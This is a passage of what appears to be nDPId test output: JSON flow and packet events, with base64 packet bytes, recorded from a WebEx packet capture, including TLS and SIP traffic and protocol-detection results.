RJMCOgGYh+2q+3Oqyu6vSaOuzbDM77Mk4tuRJwJhxqz5QTiQF4C7rbWDhFBzXWKDqkNguCiiibxO4ZPOuZwMroaG2pVqLrtipPOFLSSauoblrzOFkbD+Jz987MCevqnGCktde1xw0sNRogWyaA7Ej+6e022ffku4ryJqqsaHDvkHI7pInrb\/y74a\/zyHyZdmHTaKfKtZwW53tYxkEhks+SUr9ZdCguudE5dZQdokJHXaad97apBZNEjmJ5i8v\/\/DX+ZAbLGd6A8ejIz\/HZlctBSy7giKH0HgjpJr7mBro2t3XmMLskFdAfqbb6gkTcc+VMT865Rlkunikmf7LsHKLxoXs9ItYXe3chSJX9jpDefuJX+W\/94VDJ9JX65x\/CdAPOw4y8Wfan\/idNdBzMqbKzoyzAVnjKX3TZYL7uZQyj8qLiOireH\/3y+YRGZVry8v4n6iE5RCRFnzYyblek8nWmOS5J0IP9QhIgNemLIfV1to\/LMRyAhUx6sCMbJpdwV+yzJVkjzxDztVAdY4qbREl4ebJXnGDHyqLobJd+5mxY1tsnGHoJSb3yB00x3vhc1m046nlLV3EtLCTxYPBBxJp+zCDsKHtXBcsoQ9x1LT5SmtgZKVmJoKc21ydRf1d2PhWdHvMo6z3Cxhe8r3YrCL7q8sF7w4sG9xnjOJGkASvAFPtxCf+EZEHWEp7kFQMBACCCItIQVCaP2PI7n+NEWkiy8a7lKqnCPKr5eoNbQO79Sw=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"webex.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1444570638225,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"216.58.208.40","src_port":43433,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":225615,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8UR1AAEAGNzMKCAAB2DrQKKmpAbtoC5J\/AAAAAKACOQjy7gAAAgQFtAQCCAoATMNiAAAAAAEDAwY="} +00409{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":234305,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeFAABAGtoPYOtAoCggAAQG7qamX9G2AaAuSgFAS\/\/9SAQAA"} +00408{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":235564,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNx9AAEAGu1kKCAABch3MMcm+AbvkVPd2G6sZU1ARTvg8QAAA"} +00410{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":235838,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeJAABAGIJdyHcwxCggAAQG7yb4bqxlT5FT3d1AQ\/\/+LOAAA"} +00410{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":236049,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeNAABAGIJZyHcwxCggAAQG7yb4bqxlT5FT3d1AR\/\/+LNwAA"} +00408{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":236318,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAotbhAAEAGMx0KCAABch3V1KL+AbsYGnec5+WIpFAROQh\/1gAA"} +00409{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":236688,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeRAABAGFvJyHdXUCggAAQG7ov7n5YikGBp3nVAQ\/\/+43gAA"} +00409{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":237176,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeVAABAGFvFyHdXUCggAAQG7ov7n5YikGBp3nVAR\/\/+43QAA"} +01271{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":237460,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00407{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":431,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":235968,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0TBAAEAGIu4KCAABch3Ki7gMAbtSShQdrbX3PVARTbZWSQAA"} +00411{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":236885,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAeZAABAGIjlyHcqLCggAAQG7uAyttfc9UkoUHlAQ\/\/+j\/wAA"} +00411{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":237539,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAedAABAGIjhyHcqLCggAAQG7uAyttfc9UkoUHlAR\/\/+j\/gAA"} +02253{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":238740,"pkt_caplen":1408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1408,"pkt_l4_len":1374,"pkt":"ABoRAAACABoRAAABCABFAAVyAehAABAGr+9ARGliCggAAQG7kQkSUm6E7a2kelAY\/\/9w6gAAFwMBBSCrJ+ksJMHeO+UUJSyXU0k3tW\/0HXNm63qfbSPciNlAB8cY7tpQdij8BOZtvRonFho8JtmFOzsTS5F2mimDP9+ulmVm7egweQzr0Kbw+YMfqU2J3qogT+ZtknM\/uB6M8f2moa1B9YGUMGY37kyxke7VnSVgygabx426Hqd0Aq9xv59QRNCOwx\/RZseQd2QD0Mwh0oHmE7H7sKcFWCE+k69A\/24cDWgtbTU3APp1QnJ1zIOXDVC1Axoo+3y8H8+9pACJJhQGhWcgTfiDzuNp53ZNL6Y5VZJQ3Yx9hobeqbJO61x9BIGrblk7L8F5ZkN+ydFXzJn\/WwjiPdWVQqAvY9nBc9rQelzuspUYqPH8zix7s99qorT6QyTyL69ECHMxJBFLBCSPvxsiD3MdaJnUnDyK7l4Y1RVz6NR83AympRf5fLah\/h714JZ\/Chugd\/QDBpjSRoRTF03hqbydt6dgicOAnU8ES6T\/dktr+t07YzebFvmhRc\/X+IUmMtSjagVCXMk+XbaF12QEJxQe3dWpOhLHqzXcJvMkfuvbsuUvLlOL4AOVLoqmKdsLeTjd4fZEAf0yXtfHHs0yGLXTAqvKtIu3NtJHVCDVuS7jxSgcU8e4oJ9RN8dQxneUKuyOT17mymCeiWd6I6Z1DBhoAq5jdCAykrHuJJttypbpFSS27i5qiYFSlUHLmU096638ZLBWRyE0Q3A7vby9vzjF20rsnoq6ArYUcJx46kQIdxm+X4YhmURrVcUJeqvcHN75mToSsqOKYNFb\/13jQy9MmfEe9NbYzQrUsYvUiCDsS98Qd\/AUE38jhzjcQ5BZ84XcMniFruhfrvi6IYwbs2hsSx+PiynFpoYnV73ZPpkDvN6wT0qe\/bWEU47JV2b+8840wVGwXv+aUoYlGz06mULVxg60vlqumgXpoTJOQ36pKmfOJeDbodq5O4lsxiW1WhDblfCNCDr674XfmmllyBoS1d0fi+CenitV0AjcvOP5wt5SPZri63gc\/1dh+VyONGwj2eWU9tYcolmyvhX5X0YwFcTaKMgsdxiVAACZhV7pqddjeGxEhuFqqCrKbqDDaEJe15MjOEo+KSJxn+MtcTS051YRi6DJsZfB6jyfUC1TzGzgbiB0sewWH9vTSGkI\/WaYR19YkKWjKJ+gRLDBHZ5UlMZhyatQ\/G4JuGFRV235EVpGviz7lApMnRMEyebE3FQOWQFpoSQ6nQqQDb4eF7\/mjIYZ7+wtfGYgXbukSgCX0VQniGM7lJpet4DrV5PopbhDGeX6PfhqonDp\/m51KILlEzbH2x\/AYPvEDPLS7MLFuBweRVsc8iYTaY0WhxdYTZkhVCAEMpgFaewnUPCFCbdBxOu\/i7osbzbv0mUXWgvQvEv4dLiMoD9cI57rL1dTvjdPACdG5IFFBQF8fm8DGlvjkU5i6l0+fWu3TiW2kAPEar45X0R+oyrimERgtzpkFquDljYnIH91vw6b\/r\/prWxHfK0yRFdN0wr6PEj00ARBNiU9g+\/5ghTOPaoIZjIM9SZMg8M1Z\/6AzeZRYs8hC8rM1avSJDdd4b4c6FvY\/57aa8ibHIsEqJmrR5v\/\/lRJFtNlSRIpGXeEOvu4nK\/8El7ZsjA4FSP0brbJVjn7W413WyN3PXfxjM9cvUFZ28hxWf9cmbQiR10TNFdO9i1fjdH2YpKIIMJta\/UTWJVcK206kJgjDcwfJxEvmdlP9LZ+PAj8DpyA4cV6Y41Fl5Mbjrbz3+6mW3cuFQMBACBE3BCuegZP7kcONCmOxdh667g0ft+9MhTEfEyW2w9PrA=="} +00409{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":239172,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAou9tAAEAGu0MKCAABQER5ZMv7AbtwVXqqj6qWP1ARTO\/AkgAA"} +00412{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":244403,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAelAABAGpTZARHlkCggAAQG7y\/uPqpY\/cFV6q1AQ\/\/8NggAA"} +00412{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":245306,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAepAABAGpTVARHlkCggAAQG7y\/uPqpY\/cFV6q1AR\/\/8NgQAA"} +00408{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":248978,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYe5AAEAGFTIKCAABQER5Y9qhAbtb96SgpAhsSVARTO+x7QAA"} +00412{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":249864,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAetAABAGpTVARHljCggAAQG72qGkCGxJW\/ekoVAQ\/\/\/+3AAA"} +00412{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":251010,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAexAABAGpTRARHljCggAAQG72qGkCGxJW\/ekoVAR\/\/\/+2wAA"} +00407{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":252360,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo79pAAEAGBsQKCAABch3IC7rhAbtuYS1jkZ7S3VAROQh1vAAA"} +00409{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":253089,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAe1AABAGJLJyHcgLCggAAQG7uuGRntLdbmEtZFAQ\/\/+uxAAA"} +00409{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":254577,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAe5AABAGJLFyHcgLCggAAQG7uuGRntLdbmEtZFAR\/\/+uwwAA"} +00409{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":257331,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc+VAAEAGAwUKCAABQER5meEvAbvnI7SUGNxm2VAUW5KR\/wAA"} +00408{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":259000,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0HJAAEAGr+8KCAAB0cXen7mKAbt7nBXmhGQFh1AUW5LDHAAA"} +00408{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":260467,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoUR5AAEAGN0YKCAAB2DrQKKmpAbtoC5KAl\/RtgVAQOQgY+gAA"} +00408{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":262175,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2l5AAEAGrL0KCAABQERpZ6GqAbsG3Rzp+SMAP1AQa7XP3AAA"} +00411{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":263789,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAe9AABAGtS1ARGlnCggAAQG7oar5IwA\/Bt0c6VAR\/\/87kQAA"} +00717{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":266192,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"ABoRAAACABoRAAABCABFAAELUR9AAEAGNmIKCAAB2DrQKKmpAbtoC5KAl\/RtgVAYOQjE6AAAFgMBAN4BAADaAwOv\/q6xmTCIAwLzDcizR7a\/t25hvWTVcDLyx+PEedO+jAAAKMArwCzAL8AwAJ4An8AJwArAE8AUADMAOcAHwBEAnACdAC8ANQAFAP8BAACJAAAAHQAbAAAYc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":455,"source":"webex.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1444570638225,"flow_last_seen":1444570639266,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"216.58.208.40","src_port":43433,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ssl.google-analytics.com","ja3":"75edb912bc6f0a222ae3e3e47f5c89b1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":266643,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfBAABAGtnTYOtAoCggAAQG7qamX9G2BaAuTY1AQ\/\/9RHwAA"} +01271{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570639,"pkt_ts_usec":266868,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00408{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":266395,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY+dAAEAGIzoKCAABQERpYpEJAbvtraR6ElJuhFARTO8JcgAA"} +00410{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":267573,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfFAABAGtTBARGliCggAAQG7kQkSUm6E7a2ke1AQ\/\/9WYQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":461,"source":"webex.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1444570640269,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47135,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":269875,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8fMBAAEAGd0oKCAABch3Ki7gfAbudV783AAAAAKACOQjtmQAAAgQFtAQCCAoATMP3AAAAAAEDAwY="} +00410{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570640,"pkt_ts_usec":284293,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfNAABAGIixyHcqLCggAAQG7uB9iqEDInVe\/OFAS\/\/+vRQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":463,"source":"webex.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1444570640284,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41757,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 